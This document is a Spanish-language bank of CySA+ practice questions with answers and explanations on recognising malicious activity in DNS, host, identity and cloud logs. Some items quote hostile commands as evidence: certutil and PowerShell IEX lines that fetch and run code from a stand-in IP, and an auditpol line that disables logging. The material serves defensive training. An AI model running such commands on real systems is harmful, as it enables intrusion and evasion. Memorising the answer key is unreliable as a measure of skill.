19 Preguntas de Práctica de Indicadores de actividad maliciosa con Respuestas

1. 1. El registro del servidor DNS muestra 4.100 consultas de un portátil en diez minutos, todas a subdominios de un mismo dominio externo, con etiquetas como k7f3qm2x9vd4hs2p de 30 a 40 caracteres. Cada respuesta es un registro TXT de tamaño similar y el portátil nunca abre una sesión con la dirección a la que resuelve ese dominio. ¿Qué indica mejor este patrón?

   • A.Una red de distribución de contenido emite nombres de host por sesión en un balanceo habitual.
   • B.Un túnel DNS transporta un canal de mando y control o de datos en las consultas y respuestas.✓ Respuesta
   • C.Un vaciado de caché hace que el portátil repueble sus registros desde el servidor autoritativo.
   • D.Un resolutor mal configurado reintenta búsquedas fallidas y añade una etiqueta aleatoria a cada intento.

   Codificar datos en las etiquetas de la consulta y devolverlos en registros TXT convierte la propia resolución de nombres en un transporte bidireccional, y por eso sobrevive a un filtrado de salida que bloquea sesiones directas. Los discriminadores son el volumen, las etiquetas largas y de alta entropía bajo un único dominio padre, respuestas TXT de tamaño similar y la ausencia de conexión con la dirección resuelta; los reintentos, los nombres de una CDN o el repoblado de caché no reúnen esas señales.

   Ref. QB-CFP72KFuente: CompTIA CySA+ CS0-004 objective 1.2, network indicators (anomalous activity / DNS abuse); MITRE ATT&CK T1071.004 Application Layer Protocol: DNSReportar un problema con esta pregunta

2. 2. En cinco minutos una estación de trabajo consulta al resolutor interno 600 nombres que nunca había pedido, como qvbnlxzrt.com y mwdkphjsg.net, y 597 devuelven NXDOMAIN. El 598 resuelve y la estación abre de inmediato una sesión TLS con esa dirección. ¿Qué indica esta secuencia?

   • A.Una fuente de reputación resuelve por adelantado dominios recién reportados para cachear veredictos.
   • B.Una función del navegador adivina grafías alternativas de una dirección que el usuario escribió mal.
   • C.Una lista caduca de sufijos de búsqueda DNS hace que el cliente añada cada dominio configurado.
   • D.Malware con un algoritmo de generación de dominios recorre candidatos hasta resolver el que registró el operador.✓ Respuesta

   Un algoritmo de generación de dominios deriva muchos nombres pseudoaleatorios de una semilla común para que el defensor no pueda bloquear una lista fija; el operador registra solo uno, así que casi todas las consultas fallan. Por eso la forma reveladora es una ráfaga de NXDOMAIN que termina en una resolución correcta seguida de inmediato por una sesión de salida; la corrección de grafías, los sufijos de búsqueda y las consultas de reputación no acaban conectando con el único nombre que resolvió.

   Ref. QB-VXUCMKFuente: CompTIA CySA+ CS0-004 objective 1.2, network indicators (anomalous DNS activity); MITRE ATT&CK T1568.002 Dynamic Resolution: Domain Generation AlgorithmsReportar un problema con esta pregunta

3. 3. Un sensor de red registra sesiones de salida desde una estación de desarrollo hacia 203.0.113.44 en el puerto 443. Los primeros bytes de cada sesión son la cadena SSH-2.0-OpenSSH_8.9, nunca se envía un TLS ClientHello y las sesiones siguen abiertas durante horas con tráfico constante en ambos sentidos. ¿Cuál es la mejor explicación?

   • A.El client hello cifrado de TLS 1.3 oculta los campos del saludo al analizador del sensor.
   • B.Una sonda de salud del balanceador reutiliza el puerto 443 para una verificación en claro.
   • C.Una sesión SSH se tuneliza por el puerto 443 para atravesar un filtro de salida solo web.✓ Respuesta
   • D.Una suite de cifrado no admitida hizo que el cliente cayera de HTTPS a un protocolo web sin cifrar.

   El número de puerto solo dice hacia dónde va la sesión; el protocolo real lo identifican los primeros bytes, y SSH-2.0-OpenSSH_8.9 es el banner de intercambio de versión de SSH, no parte de un saludo TLS. Una sesión interactiva larga que lleva SSH por el único puerto que la política de salida siempre permite es el desajuste clásico entre puerto y protocolo; TLS 1.3 sigue emitiendo un registro ClientHello, así que la ausencia de saludo no se explica por el client hello cifrado.

   Ref. QB-DF2J7MFuente: CompTIA CySA+ CS0-004 objective 1.2, network indicators (activity on unexpected ports); MITRE ATT&CK T1572 Protocol Tunneling; RFC 4253 SSH identification stringReportar un problema con esta pregunta

4. 4. Un servidor de impresión que no aloja recursos compartidos de usuario transfirió 48 GB a una dirección de banda ancha residencial por el puerto 443 entre las 01:00 y las 04:00. El trabajo nocturno de respaldo de ese host escribe en un dispositivo interno por otro puerto y terminó a las 23:40 con registro de éxito. ¿Qué apoya mejor la evidencia?

   • A.Hay datos saliendo del servidor de impresión en un volumen que su función no explica.✓ Respuesta
   • B.La rotación de registros envió los archivos de cola al almacenamiento externo contratado.
   • C.El trabajo de respaldo se pasó de su ventana y envió el resto a un destino secundario.
   • D.Una actualización de firmware descargó imágenes grandes y las guardó en el servidor.

   El volumen se juzga frente a la función del host, y un servidor de impresión no tiene motivo de negocio para enviar decenas de gigabytes a ningún sitio, menos aún hacia una dirección residencial. El respaldo queda descartado por la evidencia y no por suposición: ese trabajo usa un destino interno en otro puerto y ya había terminado con éxito una hora antes, y una actualización de firmware sería tráfico entrante, no 48 GB saliendo.

   Ref. QB-WX7QSMFuente: CompTIA CySA+ CS0-004 objective 1.2, network indicators (data exfiltration); MITRE ATT&CK T1048 Exfiltration Over Alternative ProtocolReportar un problema con esta pregunta

5. 5. Entre las 02:00 y las 02:40, el host 10.20.5.9 envió paquetes SYN a 1.000 puertos de cada uno de 240 hosts internos y luego se autenticó en cada uno con la cuenta svc_scan. La dirección figura en el inventario de activos como el host de evaluación con credenciales y la ventana coincide con el calendario de mantenimiento publicado. ¿Cuál es la lectura correcta?

   • A.Es un flujo previsto de evaluación autenticada; confirme el origen y la ventana.✓ Respuesta
   • B.Es un dispositivo no autorizado que cartografía la red desde una dirección no gestionada.
   • C.Es un gusano que se propaga probando todos los puertos antes de autenticarse.
   • D.Es un equipo interno comprometido que ahora enumera el parque de servidores.

   El tráfico de enumeración se ve igual sea hostil o autorizado, así que el indicador solo se resuelve atribuyendo el origen y el momento: un host de evaluación inventariado que usa su propia cuenta de servicio dentro de una ventana publicada es una explicación benigna, no un hallazgo. Decir qué no prueba la evidencia importa aquí, porque escalarlo gasta capacidad de respuesta y enseña al equipo a ignorar el mismo patrón cuando venga de una dirección sin dueño.

   Ref. QB-EFDVCNFuente: CompTIA CySA+ CS0-004 objective 1.2, network indicators (scanning and enumeration) — distinguishing authorised assessment activity from reconnaissanceReportar un problema con esta pregunta

6. 6. Los eventos de creación de procesos en una estación de trabajo muestran outlook.exe como padre de cmd.exe, que a su vez inició powershell.exe con los argumentos -nop -w hidden -enc SQBFAFgAIAAoAE4A. Los eventos están marcados a las 10:42 de un martes. ¿Qué indica esta cadena?

   • A.Contenido abierto en el cliente de correo lanzó un PowerShell oculto y codificado vía cmd.exe.✓ Respuesta
   • B.Un script de inicio aprobado por el equipo de puestos refresca el perfil al entrar.
   • C.El servicio de actualización usa PowerShell para preparar los parches de esta mañana.
   • D.El cliente de correo ejecuta su script de mantenimiento para reparar un buzón local.

   El linaje es el discriminador: un cliente de correo no es padre legítimo de un intérprete de comandos, y los argumentos agravan el hallazgo, porque -w hidden oculta la ventana, -nop omite el perfil del usuario y -enc entrega un comando en base64 cuya única función es mantener la instrucción real fuera del registro que el analista lee primero. El mantenimiento legítimo, los scripts de inicio y la preparación de parches descienden de hosts de servicio o de sesión, no del proceso que acaba de abrir un adjunto.

   Ref. QB-XXJ2YNFuente: CompTIA CySA+ CS0-004 objective 1.2, host indicators (suspicious processes, scripts); MITRE ATT&CK T1059.001 Command and Scripting Interpreter: PowerShell; Windows Security event 4688 process creationReportar un problema con esta pregunta

7. 7. Un inventario de host lista dos procesos en ejecución llamados svchost.exe: uno con ruta de imagen C:\Windows\System32\svchost.exe cuyo padre es services.exe, y otro con ruta C:\Users\jrivera\AppData\Local\Temp\svchost.exe cuyo padre es explorer.exe y que mantiene una conexión abierta con una dirección externa. ¿Qué conclusión encaja?

   • A.La copia en Temp es una instancia por usuario que Windows coloca en el perfil por diseño.
   • B.Ambas son normales, porque svchost.exe aloja muchos servicios y hay una instancia por grupo.
   • C.La copia de System32 es la impostora, porque a los hosts de servicio los lanza explorer.exe.
   • D.La copia en Temp se disfraza: el svchost.exe legítimo sale de System32 bajo services.exe.✓ Respuesta

   Un nombre de proceso confiable no prueba nada por sí solo; lo que lo autentica son la ruta de imagen y el padre, y el host de servicio legítimo siempre se ejecuta desde System32 con services.exe como padre. Una copia bajo el directorio temporal del perfil lanzada por el shell se está disfrazando, y la conexión saliente que mantiene es justo la conducta que el nombre pretende ocultar; la instancia real puede aparecer muchas veces, pero nunca desde esa ruta.

   Ref. QB-FFR7JPFuente: CompTIA CySA+ CS0-004 objective 1.2, host indicators (rogue processes); MITRE ATT&CK T1036.005 Masquerading: Match Legitimate Name or LocationReportar un problema con esta pregunta

8. 8. A las 03:12 un servidor de archivos registra el evento de instalación de servicio 7045 para un servicio llamado WinDefragSvc con ruta de imagen C:\ProgramData\wdfg.exe e inicio automático, creado con una cuenta de administrador de dominio. Ninguna solicitud de cambio menciona el host y no hay producto de desfragmentación con licencia en el entorno. ¿Qué indica esto?

   • A.Un agente de mantenimiento con licencia se registró al entrar el administrador.
   • B.Se instaló un servicio para que el código siga tras el reinicio, con un nombre rutinario.✓ Respuesta
   • C.El servicio de almacenamiento del sistema creó una tarea de optimización de disco.
   • D.Un ciclo de parches instaló un servicio de controlador, de ahí el arranque automático aquí.

   Un servicio con inicio automático es uno de los mecanismos de persistencia más duraderos, porque el sistema relanza el binario en cada arranque sin que haya usuario presente. Tres detalles lo vuelven malicioso y no administrativo: el ejecutable está en un directorio de datos escribible y no en una ruta de programa del fabricante, el nombre verosímil no corresponde a ningún producto con licencia, y hay un cambio privilegiado fuera de horario sin registro de cambio que lo atribuya.

   Ref. QB-QX3QRDFuente: CompTIA CySA+ CS0-004 objective 1.2, host indicators (file system and configuration changes); MITRE ATT&CK T1543.003 Create or Modify System Process: Windows Service; Windows System event 7045Reportar un problema con esta pregunta

9. 9. La auditoría de línea de comandos capturó, con segundos de diferencia en un mismo host: certutil.exe -urlcache -split -f http://198.51.100.7/a.txt C:\Users\Public\a.txt y después certutil.exe -decode C:\Users\Public\a.txt C:\Users\Public\a.exe. ¿Qué indica este par de comandos?

   • A.Se envía una solicitud de certificado a la autoridad interna por HTTP en claro.
   • B.Se recupera una lista de revocación para el almacén local de certificados.
   • C.Se abusa de una utilidad firmada de Microsoft para bajar y decodificar un ejecutable.✓ Respuesta
   • D.Se exporta un certificado de máquina a una carpeta compartida del equipo.

   Leídos como par, los comandos son una descarga seguida de una decodificación base64 que produce un nuevo ejecutable, algo ajeno al manejo de certificados aunque certutil sea una herramienta de certificados. La técnica funciona porque el binario es nativo y está firmado por Microsoft, así que los controles que confían en la firma del editor o que incluyen las utilidades del sistema en listas permitidas lo dejan pasar; por eso lo que debe alertar es el patrón de argumentos, no el nombre de la imagen.

   Ref. QB-8F9VBEFuente: CompTIA CySA+ CS0-004 objective 1.2, host indicators (living-off-the-land binaries and scripts); MITRE ATT&CK T1105 Ingress Tool Transfer and T1140 Deobfuscate/Decode Files or InformationReportar un problema con esta pregunta

10. 10. Un servidor registra, en este orden: creación del proceso auditpol.exe /set /subcategory:"Process Creation" /success:disable a las 02:39, el evento 1102 a las 02:41 y la detención del servicio de registro de eventos a las 02:42. El agente de reenvío ya había enviado los eventos anteriores al colector. ¿Qué indica esta secuencia?

    • A.Una política de retención recortó los registros más antiguos al llegar al tamaño fijado.
    • B.Un script de mantenimiento vació los registros para liberar disco antes del respaldo.
    • C.Un intruso con derechos administrativos desactivó y borró la auditoría para borrar rastros.✓ Respuesta
    • D.Una actualización del agente reinició los componentes y reescribió la política de auditoría.

    El orden es la evidencia: primero se desactiva la auditoría de creación de procesos, luego se borra el registro de seguridad y al final se detiene el servicio, una progresión deliberada dirigida al registro de la intrusión y no al espacio en disco. El recorte por retención sobrescribe las entradas más antiguas sin generar un evento de borrado, y aquí el intento se frustra porque las copias reenviadas ya salieron del host.

    Ref. QB-EDNSN5Fuente: CompTIA CySA+ CS0-004 objective 1.2, host indicators (unauthorized changes, anti-forensics); MITRE ATT&CK T1070.001 Indicator Removal: Clear Windows Event Logs; Windows Security event 1102Reportar un problema con esta pregunta

11. 11. El registro de bloques de script recoge IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.9/s') en una estación de trabajo. El padre del proceso de PowerShell es wmiprvse.exe, no aparece ningún archivo nuevo en disco y el agente de endpoint muestra una sesión de salida hacia esa misma dirección. ¿Qué indica esto?

    • A.Una herramienta de despliegue envió un paquete y lo prepara por el servicio de gestión.
    • B.Una tarea programada ejecutó un script guardado en la base de datos del programador.
    • C.El código se ejecutó en memoria por una sesión WMI remota, sin dejar archivo en disco.✓ Respuesta
    • D.Un administrador probó una descarga en una consola interactiva del propio escritorio.

    DownloadString recupera el script como texto e IEX lo evalúa en el proceso actual, así que la ejecución nunca toca el sistema de archivos y un escáner sin nada que escanear declara el host limpio. El padre wmiprvse.exe sitúa el origen en otra máquina y no en el teclado local, y por eso lo que vuelve visible esta clase de actividad es el registro de bloques de script junto al linaje de procesos, no la detección basada en archivos.

    Ref. QB-WVFM35Fuente: CompTIA CySA+ CS0-004 objective 1.2, host indicators (anomalous activity, memory-resident execution); MITRE ATT&CK T1047 Windows Management Instrumentation and T1059.001 PowerShell; PowerShell event 4104Reportar un problema con esta pregunta

12. 12. Los registros web muestran 9.000 solicitudes POST a /api/password-reset en cuarenta minutos desde doce direcciones de origen, cada una con un correo distinto. La aplicación responde 200 con un cuerpo de "restablecimiento enviado" cuando la dirección existe y 404 cuando no; 112 solicitudes recibieron 200. ¿Qué indica esto?

    • A.Denegación de servicio: se inunda el endpoint para agotar la cola de correo.
    • B.Bucle de correo: un reenviador averiado reenvía los mensajes devueltos.
    • C.Relleno de credenciales: se reutilizan pares de usuario y contraseña filtrados.
    • D.Enumeración de cuentas: los códigos distintos revelan qué direcciones existen.✓ Respuesta

    La aplicación actúa como oráculo: como la respuesta cambia según exista o no la cuenta, cada solicitud devuelve un bit de información sobre un usuario real, y los 112 aciertos son una lista de objetivos cosechada para phishing o ataques de contraseña posteriores. En este tráfico no se envía ninguna contraseña, lo que descarta el relleno de credenciales, y el ritmo es demasiado bajo para ser un ataque de disponibilidad contra la cola de correo.

    Ref. QB-DDAFG4Fuente: CompTIA CySA+ CS0-004 objective 1.2, application indicators (anomalous activity, enumeration); OWASP Authentication guidance on non-enumerable responsesReportar un problema con esta pregunta

13. 13. Los registros de la aplicación muestran el mismo valor de cookie de sesión usado en solicitudes desde dos redes separadas por 6.000 km dentro de los mismos 90 segundos, con dos cadenas User-Agent distintas y sin reautenticación entre ambos conjuntos de solicitudes. ¿Cuál es la mejor explicación?

    • A.Un token de sesión robado se reutiliza desde otro host: una cookie no sirve a dos equipos.✓ Respuesta
    • B.Un traspaso móvil cambió la dirección del operador y la sesión siguió abierta.
    • C.Viaje imposible del titular, que inició sesión desde un segundo país tras desplazarse.
    • D.Un proxy inverso reescribe las cabeceras y fusiona sesiones distintas en una sola.

    El viaje imposible compara dos autenticaciones y puede explicarse por una VPN o un usuario en itinerancia, pero esta evidencia es el uso simultáneo de un token ya emitido desde dos clientes, algo que un solo usuario no puede producir. Las cadenas User-Agent distintas y la falta de un nuevo inicio de sesión muestran que el token fue extraído y reproducido, no reemitido, así que la respuesta es invalidar esa sesión en el servidor y no solo cambiar la contraseña.

    Ref. QB-VV4AW3Fuente: CompTIA CySA+ CS0-004 objective 1.2, identity and application indicators (unauthorized access); MITRE ATT&CK T1539 Steal Web Session Cookie and T1550.004 Use Alternate Authentication Material: Web Session CookieReportar un problema con esta pregunta

14. 14. Un controlador de dominio registra 1.412 eventos de inicio de sesión fallido (4625) para la cuenta svc_backup desde 198.51.100.22 en veintidós minutos, luego un inicio correcto (4624) con tipo de inicio 10 desde la misma dirección, seguido de un evento de privilegios especiales (4672). ¿Qué indica esto?

    • A.Rociado de contraseñas: una clave probada en muchas cuentas para evitar bloqueos.
    • B.Adivinaron la contraseña de una cuenta y siguió un inicio remoto con privilegios.✓ Respuesta
    • C.Un umbral de bloqueo mal ajustado hace que un servicio reintente su secreto caduco.
    • D.Relleno de credenciales: pares de una filtración ajena se repitieron hasta acertar.

    La forma de la evidencia nombra la técnica: muchos intentos concentrados en una cuenta desde un origen es adivinación por fuerza bruta, mientras el rociado reparte una sola contraseña entre muchas cuentas justamente para evitar bloqueos. Lo que convierte esto en un compromiso confirmado y no en ruido es el final: el tipo de inicio 10 es una sesión interactiva remota y el evento de privilegios especiales siguiente muestra que se le asignaron derechos sensibles.

    Ref. QB-GDCFZ7Fuente: CompTIA CySA+ CS0-004 objective 1.2, identity indicators (unauthorized access); MITRE ATT&CK T1110.001 Brute Force: Password Guessing; Windows Security events 4625, 4624 (logon type 10) and 4672Reportar un problema con esta pregunta

15. 15. Una alerta informa de que la misma cuenta se autentica desde Denver a las 08:02 y desde Fráncfort a las 08:09. La dirección de Fráncfort pertenece al rango de salida de la VPN en la nube de la propia empresa, ambos eventos llevan el mismo certificado de dispositivo y la línea base de la cuenta muestra esa salida todos los días laborables. ¿Cómo debe leerse esto?

    • A.Es un falso positivo por la salida VPN; confirme el rango y el equipo y cierre.✓ Respuesta
    • B.Es una toma de cuenta confirmada; desactive la cuenta y fuerce el cambio de clave.
    • C.Es un token de refresco robado y reproducido desde un segundo país en paralelo.
    • D.Es un error de la base de geolocalización que ubicó una dirección nacional fuera.

    El viaje imposible es una inferencia sobre una persona hecha a partir de direcciones, así que vale lo que representan esas direcciones: el tráfico que sale por un concentrador VPN corporativo lleva la geografía del concentrador, no la del usuario. Aquí la segunda dirección es un rango de salida propio, el certificado de dispositivo es el mismo en ambos eventos y el patrón coincide con la línea base diaria, de modo que el hallazgo no está probado y lo que queda por verificar es la propiedad del rango y la identidad del equipo. La base de geolocalización no se equivoca: ubicó correctamente un punto de salida en el extranjero.

    Ref. QB-YV6AE7Fuente: CompTIA CySA+ CS0-004 objective 1.2, identity indicators (impossible travel) — validating an indicator against egress ownership and device evidence before escalationReportar un problema con esta pregunta

16. 16. Un registro de auditoría de identidad muestra a un usuario concediendo consentimiento a una aplicación de terceros que pidió Mail.Read, Mail.Send y offline_access. El editor no está verificado, la aplicación se registró hace tres días y en una hora lee 2.300 mensajes por la API. En el registro no aparece ningún cambio de contraseña ni ningún aviso de MFA. ¿Qué indica esto?

    • A.La fatiga de MFA llevó al usuario a aprobar un aviso que había lanzado el atacante.
    • B.Un cliente de correo sincronizó el buzón tras añadir la cuenta a un equipo.
    • C.Una concesión de consentimiento ilícita dio a la app acceso duradero por token.✓ Respuesta
    • D.Una contraseña robada permitió entrar y crear reglas de reenvío en el buzón.

    Nada en esta evidencia implica una credencial: el usuario autorizó una aplicación y la plataforma le emitió tokens, y offline_access significa que el acceso continúa sin el usuario presente. Por eso cambiar la contraseña o volver a pedir MFA no expulsa al atacante: hay que revocar la propia concesión e invalidar los tokens, y el editor no verificado con un registro de tres días es la señal de reputación que debió impedir el consentimiento.

    Ref. QB-FDZ4U6Fuente: CompTIA CySA+ CS0-004 objective 1.2, identity indicators (IAM account compromise, unauthorized access); MITRE ATT&CK T1528 Steal Application Access Token (illicit consent grant)Reportar un problema con esta pregunta

17. 17. Los registros del directorio muestran una cuenta de mesa de ayuda añadida a Domain Admins a la 01:04 (evento 4728), esa cuenta leyendo 14.000 archivos de un recurso de finanzas entre la 01:06 y la 01:19, y la misma cuenta retirada del grupo a la 01:21 (evento 4729). Su titular estuvo de permiso aprobado toda la semana. ¿Qué indica esto?

    • A.Una tarea de recertificación quitó una pertenencia que no pasó la revisión.
    • B.El privilegio se elevó solo los minutos necesarios y se revirtió, para ocultar el acceso.✓ Respuesta
    • C.Un flujo de elevación temporal concedió y retiró los derechos según su diseño.
    • D.Un artefacto de replicación duplicó un cambio de grupo y luego lo revirtió.

    Añadir, usar y quitar en diecisiete minutos es justo el punto: al revertir la pertenencia, una revisión del estado actual no muestra nada raro, así que solo el historial de eventos y el acceso a archivos intermedio revelan lo ocurrido. La elevación temporal es la respuesta tentadora porque genera los mismos dos eventos, pero un flujo autorizado lo solicita y aprueba un titular presente, y aquí el titular estaba de permiso mientras los derechos se usaban de noche contra un recurso de finanzas.

    Ref. QB-XVTX86Fuente: CompTIA CySA+ CS0-004 objective 1.2, identity indicators (privilege abuse, unauthorized access); MITRE ATT&CK T1098 Account Manipulation; Windows Security events 4728 and 4729Reportar un problema con esta pregunta

18. 18. Los registros de auditoría de la nube muestran una clave de acceso de una canalización de compilación usada desde una región donde la organización nunca despliega. En cuatro minutos la misma clave llama a DescribeRegions, CreateUser, AttachUserPolicy con derechos de administrador y RunInstances para veinte instancias GPU. ¿Qué indica esto?

    • A.La canalización apunta a una región equivocada y crea allí su flota de compilación.
    • B.La clave está comprometida y se usa para crear persistencia y consumir cómputo.✓ Respuesta
    • C.Una política de autoescalado amplió la flota tras acumularse trabajos por la noche.
    • D.Un evento de mantenimiento del proveedor movió la carga y reemitió las identidades.

    Lo que condena es la secuencia, no una llamada aislada: descubrir las regiones disponibles, crear una segunda identidad con derechos de administrador y luego levantar cómputo costoso en una región sin uso es el patrón clásico de clave robada, donde el usuario nuevo es la persistencia que sobrevive a la rotación de la clave original. Una canalización mal configurada o el autoescalado crean instancias, pero no tienen motivo para crear un administrador, y un evento de mantenimiento no llama a CreateUser en nombre del cliente.

    Ref. QB-AD8FYYFuente: CompTIA CySA+ CS0-004 objective 1.2, cloud indicators (anomalous activity, resource consumption); MITRE ATT&CK T1078.004 Valid Accounts: Cloud Accounts, T1098.001 Additional Cloud Credentials, T1496 Resource HijackingReportar un problema con esta pregunta

19. 19. Un rastro de auditoría en la nube registra StopLogging sobre el rastro de la organización por el rol ci-deploy a las 02:14, PutBucketPolicy concediendo s3:GetObject al principal "*" en un bucket de datos de clientes a las 02:15, y 41.000 llamadas GetObject desde una sola dirección externa entre las 02:16 y las 03:40. ¿Qué indica ese orden?

    • A.Una regla de ciclo de vida movió objetos a un nivel público y un rastreador los indexó.
    • B.Un trabajo de replicación copió el bucket a otra cuenta y reutilizó el punto externo.
    • C.Una plantilla desviada reaplicó una política antigua y desactivó el rastro con ella.
    • D.Primero se silenció la auditoría y luego se abrió el bucket para descargarlo en masa.✓ Respuesta

    La secuencia separa un accidente de una intrusión: desactivar el rastro de auditoría un minuto antes de ampliar la política del bucket es una decisión sobre ser observado, y eso no lo toma ninguna plantilla, regla de ciclo de vida ni trabajo de replicación. Que un lector externo llegue de inmediato a extraer decenas de miles de objetos completa la cadena de evasión de defensas seguida de exposición deliberada y exfiltración, y el rol comprometido es la identidad que hay que contener.

    Ref. QB-SV2ADYFuente: CompTIA CySA+ CS0-004 objective 1.2, cloud indicators (anomalous activity, resource compromise); MITRE ATT&CK T1562.008 Impair Defenses: Disable or Modify Cloud Logs and T1567 Exfiltration Over Web ServiceReportar un problema con esta pregunta

Preguntas de práctica basadas en los objetivos del examen CompTIA CySA+. Este sitio no está afiliado ni respaldado por CompTIA, y estas no son preguntas reales del examen. CompTIA renueva este examen periódicamente, mantiene dos versiones en paralelo durante la transición y fija la duración, el estándar de aprobación y los requisitos — confirma los objetivos vigentes y el código de examen activo con CompTIA antes de inscribirte. El examen real también incluye preguntas basadas en desempeño que un banco de opción múltiple no puede reproducir, así que combínalo con práctica real. Objetivos oficiales del CySA+ →